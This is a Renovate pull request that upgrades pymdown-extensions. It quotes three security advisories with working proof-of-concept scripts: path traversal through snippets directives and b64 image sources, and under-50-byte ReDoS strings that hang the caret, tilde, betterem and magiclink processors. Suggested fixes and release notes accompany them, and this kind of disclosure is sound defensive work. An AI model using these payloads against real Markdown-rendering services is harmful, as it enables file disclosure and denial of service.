Update dependency pymdown-extensions to v11 [SECURITY] by renovate[bot] · Pull Request #70 · ProgSoc/Docs

renovate · 2026-05-19T20:29:33Z

This PR contains the following updates:

Package	Change	Age	Confidence
pymdown-extensions	`==10.16.1` → `==11.0.1`

Regression in pymdownx.snippets reintroduces sibling-prefix path traversal bypass despite restrict_base_path

CVE-2026-46338 / GHSA-62q4-447f-wv8h

More information

Details

Summary

pymdownx.snippets has a regression of the CVE-2023-32309 / GHSA-jh85-wwv9-24hv fix. With restrict_base_path: True (the default), the current filename.startswith(base) containment check does not enforce a directory boundary. As a result, a markdown snippet directive can read files from sibling paths that share the same prefix as base_path, such as docs vs docs_internal.

The regression was introduced in PR #2039 / commit 7c13bda5b7793b172efd1abb6712e156a83fe07d, which replaced the original directory-identity check with a plain string-prefix comparison.

Details

The regression was introduced in commit 7c13bda5b7793b172efd1abb6712e156a83fe07d (2023-05-15, #2039 "Fix regression of snippets nested deeply under specified base path"), which relaxed the original os.path.samefile(base, os.path.dirname(filename)) check to a plain startswith(base).

SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py:

if self.restrict_base_path:
    filename = os.path.abspath(os.path.join(base, path))
    # If the absolute path is no longer under the specified base path, reject the file
    if not filename.startswith(base):
        continue

base is os.path.abspath(b) and has no trailing separator. str.startswith(base) is True for any filename whose string representation begins with the same characters as base, regardless of whether those characters end at a directory boundary.

Concrete example:

base = "/x/docs"
path = "../docs_secret/leak.txt" (inside the markdown snippet directive)
os.path.join(base, path) → "/x/docs/../docs_secret/leak.txt"
os.path.abspath(...) → "/x/docs_secret/leak.txt"
filename.startswith(base) → True, because "/x/docs_secret/..." begins with the literal string "/x/docs".

All releases from 10.0.1 (2023-05-15) through 10.21.2 (current) are affected.

Impact

Arbitrary file read within the host the build runs on, bounded by the prefix match. With base_path = /x/docs the attacker can read files from any sibling directory whose path begins with the literal string /x/docs followed by any non-separator character — for example /x/docs_internal/, /x/docs.bak/, /x/docs2/.

The threat model is the same as the original CVE-2023-32309: markdown content processed by the snippets preprocessor in a build pipeline (typical scenario: an MkDocs documentation site built in CI from PR contributions or otherwise less-trusted markdown) can read files outside the configured base. CI builds that publish the generated HTML expose the read file to the public; CI builds with secrets on disk leak those secrets.

Reproduction

Minimal local PoC, non-destructive:

import os, shutil, tempfile, markdown

work = tempfile.mkdtemp(prefix="pmx_poc_")
try:
    base    = os.path.join(work, "docs")
    sibling = os.path.join(work, "docs_secret")
    os.makedirs(base)
    os.makedirs(sibling)
    with open(os.path.join(sibling, "leak.txt"), "w") as f:
        f.write("TOP_SECRET_FROM_SIBLING_DIR\n")

    out = markdown.markdown(
        '--8<-- "../docs_secret/leak.txt"\n',
        extensions=["pymdownx.snippets"],
        extension_configs={
            "pymdownx.snippets": {
                "base_path": [base],
                "restrict_base_path": True,
                "check_paths": True,
            }
        },
    )
    print(out)  # -> <p>TOP_SECRET_FROM_SIBLING_DIR</p>
finally:
    shutil.rmtree(work)

Default restrict_base_path: True is sufficient — no non-default option is required.

Suggested fix

Minimal change — require the separator after the base prefix:

-                        if not filename.startswith(base):
+                        # Append `os.sep` so a sibling directory whose name shares a prefix
+                        # (e.g. `/x/docs` vs `/x/docs_evil`) cannot satisfy the check.
+                        if not filename.startswith(base + os.sep):
                             continue

This preserves the original intent (allow snippets nested at any depth under base_path) while restoring the directory-boundary check. It does not affect the os.path.isdir(base) branch where base is a file (that branch still uses os.path.samefile).

Alternative: os.path.commonpath([base, filename]) == base is equivalent and slightly more idiomatic, though it raises ValueError on different drives on Windows and would need a try/except. The startswith(base + os.sep) fix is the smaller diff.

Note: this fix does not change behaviour for symlinks inside base_path. The existing implementation uses os.path.abspath (not os.path.realpath), so a symlink within base_path pointing outside is still followed. That is a separate concern — symlinks require write access to base_path, a much higher bar than the current bypass — and matches the behaviour the CVE-2023 fix established.

Regression test

A regression test class TestSnippetsSiblingPrefix was added in tests/test_extensions/test_snippets.py. It uses tests/test_extensions/_snippets/nested as base_path and a new fixture directory tests/test_extensions/_snippets/nested_sibling_evil/leak.txt. It asserts that the markdown directive --8<-- "../nested_sibling_evil/leak.txt" raises SnippetMissingError.

Without fix: test fails (AssertionError: SnippetMissingError not raised, sibling file is silently read).
With fix: test passes.

Full suite: python -m pytest tests/ -q → 738 passed (737 baseline + 1 new regression test). No regressions.

Affected versions

>= 10.0.1, <= 10.21.2

Severity

CVSS Score: 4.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

PyMdown Extensions: Path traversal in the b64 extension lets read files outside base_path

CVE-2026-61632 / GHSA-9xwg-3r6f-jcx2

More information

Details

Summary

The b64 extension inlines images referenced by <img src="..."> as base64 data URIs. When resolving the src path it joins it onto the configured base_path with os.path.normpath and opens the result directly, with no check that the resolved path stays inside base_path. A src containing ../ sequences, or an absolute path, therefore reads a file outside base_path as long as that file has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg). The base64 of that file is then embedded in the rendered output, disclosing its contents.

This is a separate code path from the snippets traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in pymdownx/b64.py and has no path restriction of any kind. Confirmed on 10.21.3 installed from PyPI.

Details

In pymdownx/b64.py, function repl_path (around lines 68 to 90 on main):

if is_absolute:
    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely
else:
    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path
if os.path.exists(file_name):
    ext = os.path.splitext(file_name)[1].lower()
    for b64_ext in file_types:
        if ext in b64_ext:
            with open(file_name, "rb") as f:                    # opened with no containment check
                ...

There is no startswith(base_path), no os.path.realpath comparison, and no rejection of ... Both branches are reachable from an attacker-controlled src.

PoC

Reproduced against an unmodified pymdown-extensions==10.21.3 from PyPI. The script creates a base_path directory and a PNG one level above it, then renders Markdown whose image src points outside base_path, and confirms the outside file's bytes appear base64-encoded in the output.

import base64, os, shutil, tempfile, markdown

root = tempfile.mkdtemp()
base_path = os.path.join(root, "docs"); os.makedirs(base_path)
outside = os.path.join(root, "secret"); os.makedirs(outside)

png = base64.b64decode(
    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
    "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
)
with open(os.path.join(outside, "secret.png"), "wb") as f:
    f.write(png)

md = markdown.Markdown(
    extensions=["pymdownx.b64"],
    extension_configs={"pymdownx.b64": {"base_path": base_path}},
)
html = md.convert('<img src="../secret/secret.png">')

assert base64.b64encode(png).decode() in html, "not leaked"
print("LEAKED:", html)

Output:

LEAKED: <p><img src="..."></p>

The base64 of a file outside base_path is present in the output. The absolute-path branch behaves the same way: an absolute src bypasses base_path entirely via os.path.normpath(path). Both were confirmed leaking.

Impact

An application that renders untrusted Markdown with pymdownx.b64 enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.

Suggested fix

Resolve the real path and require it to stay within base_path before opening:

file_name = os.path.realpath(os.path.join(base_path, path))
base_real = os.path.realpath(base_path)
if file_name != base_real and not file_name.startswith(base_real + os.sep):
    return m.group(0)  # leave the tag untouched; do not read outside base_path

The same containment check should apply to the absolute-path branch rather than trusting an absolute src. Using realpath instead of abspath also closes the related symlink-following gap in the snippets handler.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors

CVE-2026-67422 / GHSA-gm37-52c6-37mw

More information

Details

Summary

Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The caret/tilde/
betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
(.+?) / ([^\s]+?) content group — and is present through 11.0 (latest);
magiclink's host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).

This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption,
RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a ./\.
typo).

Details

Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into {2,}-sized pieces in
exponentially many ways, wrapped in a lazy +? that must fail before the engine
can give up:

Extension	Regex	Location (`11.0`)
`pymdownx.caret` (superscript `^…^`)	`SUP2`	`pymdownx/caret.py:56`
`pymdownx.tilde` (subscript `~…~`)	`SUB2`	`pymdownx/tilde.py:55`
`pymdownx.betterem` (underscore `_…_`)	`SMART_UNDER_EM2` (default)	`pymdownx/betterem.py:93`
`pymdownx.magiclink` (bare-URL autolink)	`RE_LINK`	`pymdownx/magiclink.py:56` (host at `:59`)

pymdownx/caret.py:56 (pymdown-extensions 11.0):

SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'

The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the
\^{2,} branch. A run of k carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine
explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2
(betterem) are the same construct for ~ and _. In betterem the default
smart_enable='underscore' routes underscores to SmartUnderscoreProcessor →
SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable,
API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when
smart_enable is asterisk/disable) shares the shape but did not reproduce
through the public markdown.markdown() pipeline on the tested payload, so a fix
and regression test should target SMART_UNDER_EM2.

pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:

(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)*    # host: '\.' and '[-\w.]' inside (?:...)* both match '.'

SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the
default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is
applied by MagiclinkPattern (registered unconditionally at priority 85). In all
four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted
src in default configuration is sufficient to reach the regex.

PoC

Single self-contained script; runs against the pinned release in an ephemeral
env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time
(a per-render alarm caps each attempt so the script terminates).

import signal
import time
from importlib.metadata import version

import markdown

print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")

CAP = 5.0  # a single render exceeding this is treated as a hang

class Timeout(Exception):
    pass

def render(ext, text):
    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
    signal.setitimer(signal.ITIMER_REAL, CAP)
    t = time.perf_counter()
    try:
        markdown.markdown(text, extensions=[ext])
        return time.perf_counter() - t
    except Timeout:
        return None
    finally:
        signal.setitimer(signal.ITIMER_REAL, 0)

##### ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
    "pymdownx.caret":     (lambda n: "^a" + "^" * n + "b",       lambda n: "^" + "a" * n + "^",           [24, 30, 36], 44),
    "pymdownx.tilde":     (lambda n: "~a" + "~" * n + "b",       lambda n: "~" + "a" * n + "~",           [24, 30, 36], 44),
    "pymdownx.betterem":  (lambda n: "_a" + "_" * n + "b",       lambda n: "_" + "a" * n + "_",           [24, 30, 36], 44),
    "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}

repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear
    base = render(ext, base_txt)
    print(f"\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
    prev = None
    for n in ramp:
        txt = evil(n)
        dt = render(ext, txt)
        ratio = f"  (x{dt / prev:.1f})" if (prev and dt) else ""
        shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
        print(f"          malicious len {len(txt):3d}: {shown}{ratio}")
        prev = dt
    txt = evil(hang)
    dt = render(ext, txt)
    hung = dt is None
    print(f"          malicious len {len(txt):3d}: "
          f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
    ok = base < 0.05 and (hung or dt > 1.0)
    repro.append(ok)
    print(f"          => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
          f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")

assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
      "public markdown.markdown() API, default config (each < 50-byte input).")

Run:

uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py

The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it
is independent of the Markdown library version (markdown pinned only for
byte-exact output). Observed output:


##### pymdown-extensions 11.0 / markdown 3.10.2

[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.054 s  (x16.6)
          malicious len  39:    0.946 s  (x17.6)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.053 s  (x17.1)
          malicious len  39:    0.962 s  (x18.2)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.052 s  (x17.1)
          malicious len  39:    0.948 s  (x18.1)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms
          malicious len  37:    0.033 s
          malicious len  41:    0.210 s  (x6.4)
          malicious len  45:    1.405 s  (x6.7)
          malicious len  49: > 5 s (HANG)
          => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.

VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).

The per-step ratio stays roughly constant as the run grows (a fixed multiplicative
factor per fixed-size increment) — the signature of exponential, not polynomial,
backtracking. A valid, closed delimiter run of the same length exercises the same
regex yet renders in well under a millisecond, isolating the cost to the unclosed
crafted run. Extending it a few more characters pushes the render time into minutes
and beyond.

Impact

Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with
no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders
trusted author content at build time, but the untrusted-input exposure is concrete
in two settings:

General Python web apps that render user-supplied Markdown (comments, wikis,
issue/ticket bodies, chat, live preview) — notably any app using
pymdownx.extra, which bundles betterem with the vulnerable default
smart_enable='underscore', or that reuses a Material-style extension block in
a runtime renderer.
Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a
single crafted line hangs the shared build worker.
Attacker: unauthenticated, remote (anyone who can submit Markdown).
Configuration: default for each extension.
Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes
the final call): AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High).

Suggestion

The vulnerable content groups need to be rewritten so a delimiter run has exactly
one parse, removing the {2,} partition ambiguity that lets the engine
re-segment a run on backtracking. For the emphasis patterns, restructuring the
content so a delimiter run is consumed in a single, non-re-partitionable way
(rather than by a {2,} branch inside a +? group) removes the blow-up; for
RE_LINK, disambiguate the host so . is matched in exactly one place (a single
labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by
overlapping classes. Possessive quantifiers / atomic groups are the most direct
tool but require Python 3.11+; since the project supports Python 3.10, a
structural rewrite is the portable option.

A regression fixture per extension (a short delimiter run with no valid closer,
asserted to render under a small time budget) would guard against reintroduction.

References

Affected source (pymdown-extensions 11.0): pymdownx/caret.py:56 (SUP2),
pymdownx/tilde.py:55 (SUB2), pymdownx/betterem.py:93 (SMART_UNDER_EM2,
default; :69 UNDER_EM2 shares the shape), pymdownx/magiclink.py:56
(RE_LINK, host subexpression at :59).
Novelty: same class as CVE-2025-68142 (pymdownx.blocks.caption RE_FIG_NUM,
fixed 10.16.1) but distinct extensions, regexes, and root cause. The
caret/tilde/betterem content groups gained the vulnerable {2,}
alternation in PR #2547 (v10.13); earlier releases used a linear
(.+?) / ([^\s]+?) group. magiclink's host pattern is long-standing. None
of the four has been touched by a prior security fix; all are present in the
latest release (11.0).

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

facelessuser/pymdown-extensions (pymdown-extensions)

`v11.0.1`

Compare Source

11.0.1

FIX: BetterEm: Fix regex pattern inefficiencies.
FIX: Tilde: Fix regex pattern inefficiencies.
FIX: Caret: Fix regex pattern inefficiencies.
FIX: MagicLink: Fix regex pattern inefficiencies.

`v11.0`

Compare Source

11.0

BREAK: B64: Restricts relative links to base_path by default. Can be disabled by setting new restrict_path
option to False. The new root_path can be specified if paths are desired to be restricted to a different
location separate base_path which is also used as a relative base for image paths.
NEW: Drop Python 3.9 support.
FIX: Tabbed: Fix issue where an empty title would cause an exception.

`v10.21.3`

Compare Source

10.21.3

FIX: Fix regression that allows a snippet to be loaded outside of the base path using directory traversal when
restrict_base_path is enabled (the default). Found by @gistrec.

`v10.21.2`: 10.21. 2

Compare Source

10.21.2

FIX: Highlight: Latest Pygments versions cannot handle a "filename" for code block titles of None.

`v10.21`

10.21

NEW: Caption: Add support for specifying not only IDs but classes and arbitrary attributes. Initial work by
@joapuiib.
FIX: MagicLink: Fix a matching pattern for Bitbucket repo.

`v10.20`

Compare Source

10.20

NEW: Quotes: New blockquotes extension added that uses a more modern approach when compared to Python Markdown's
default. Quotes specifically will not group consecutive blockquotes together in the same lazy fashion that the
default Python Markdown does which follows a more modern trend to how parsers these days handle block quotes.

In addition, Quotes also provides an optional feature to enable specifying callouts/alerts in the style used by
GitHub and Obsidian.

`v10.19.1`

Compare Source

10.19.1

FIX: Arithmatex: Fix issue where block $$ math used inline within a paragraph could result in nested math
parsing.

`v10.19`

Compare Source

10.19

NEW: Emoji: Update Twemoji to use Unicode 16.
NEW: Critic: Roll back view mode deprecation as some still like to use it, though further enhancements to this
mode are not planned.

`v10.18`

Compare Source

10.18

NEW: Critic: view mode has been deprecated. To avoid warnings or future issues, explicitly set mode to
either accept or reject. In the future, the new default will be accept and the view mode will be removed
entirely.
FIX: Block Admonition: important should have always been available as a default.

`v10.17.2`

Compare Source

10.17.2

FIX: Blocks: Blocks extensions will now better handle nesting of indented style Admonitions, Details, and Tabbed
and other non-conflicting blocks.

`v10.17.1`

Compare Source

10.17.1

FIX: Fix an issue where Highlight can override another extension in the "registered" list in Python Markdown.

`v10.17`

Compare Source

10.17

NEW: Allow specifying static IDs in caption block headers via #id syntax.

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renovate Bot force-pushed the renovate/pypi-pymdown-extensions-vulnerability branch from 8be80f5 to 6569ded Compare July 28, 2026 03:01

renovate Bot changed the title ~~Update dependency pymdown-extensions to v10.21.3 [SECURITY]~~ Update dependency pymdown-extensions to v11 [SECURITY] Jul 28, 2026

Update dependency pymdown-extensions to v11 [SECURITY]

995a028

renovate Bot force-pushed the renovate/pypi-pymdown-extensions-vulnerability branch from 6569ded to 995a028 Compare August 9, 2026 08:55

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Update dependency pymdown-extensions to v11 [SECURITY] - #70

Update dependency pymdown-extensions to v11 [SECURITY]#70
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renovate Bot commented May 19, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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Regression in pymdownx.snippets reintroduces sibling-prefix path traversal bypass despite restrict_base_path

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PyMdown Extensions: Path traversal in the b64 extension lets read files outside base_path

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pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors

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Release Notes

11.0.1

11.0

10.21.3

v10.21.2: 10.21. 2

10.21.2

10.21

10.20

10.19.1

10.19

10.18

10.17.2

10.17.1

10.17

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renovate Bot commented May 19, 2026 •

edited

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`v10.21.2`: 10.21. 2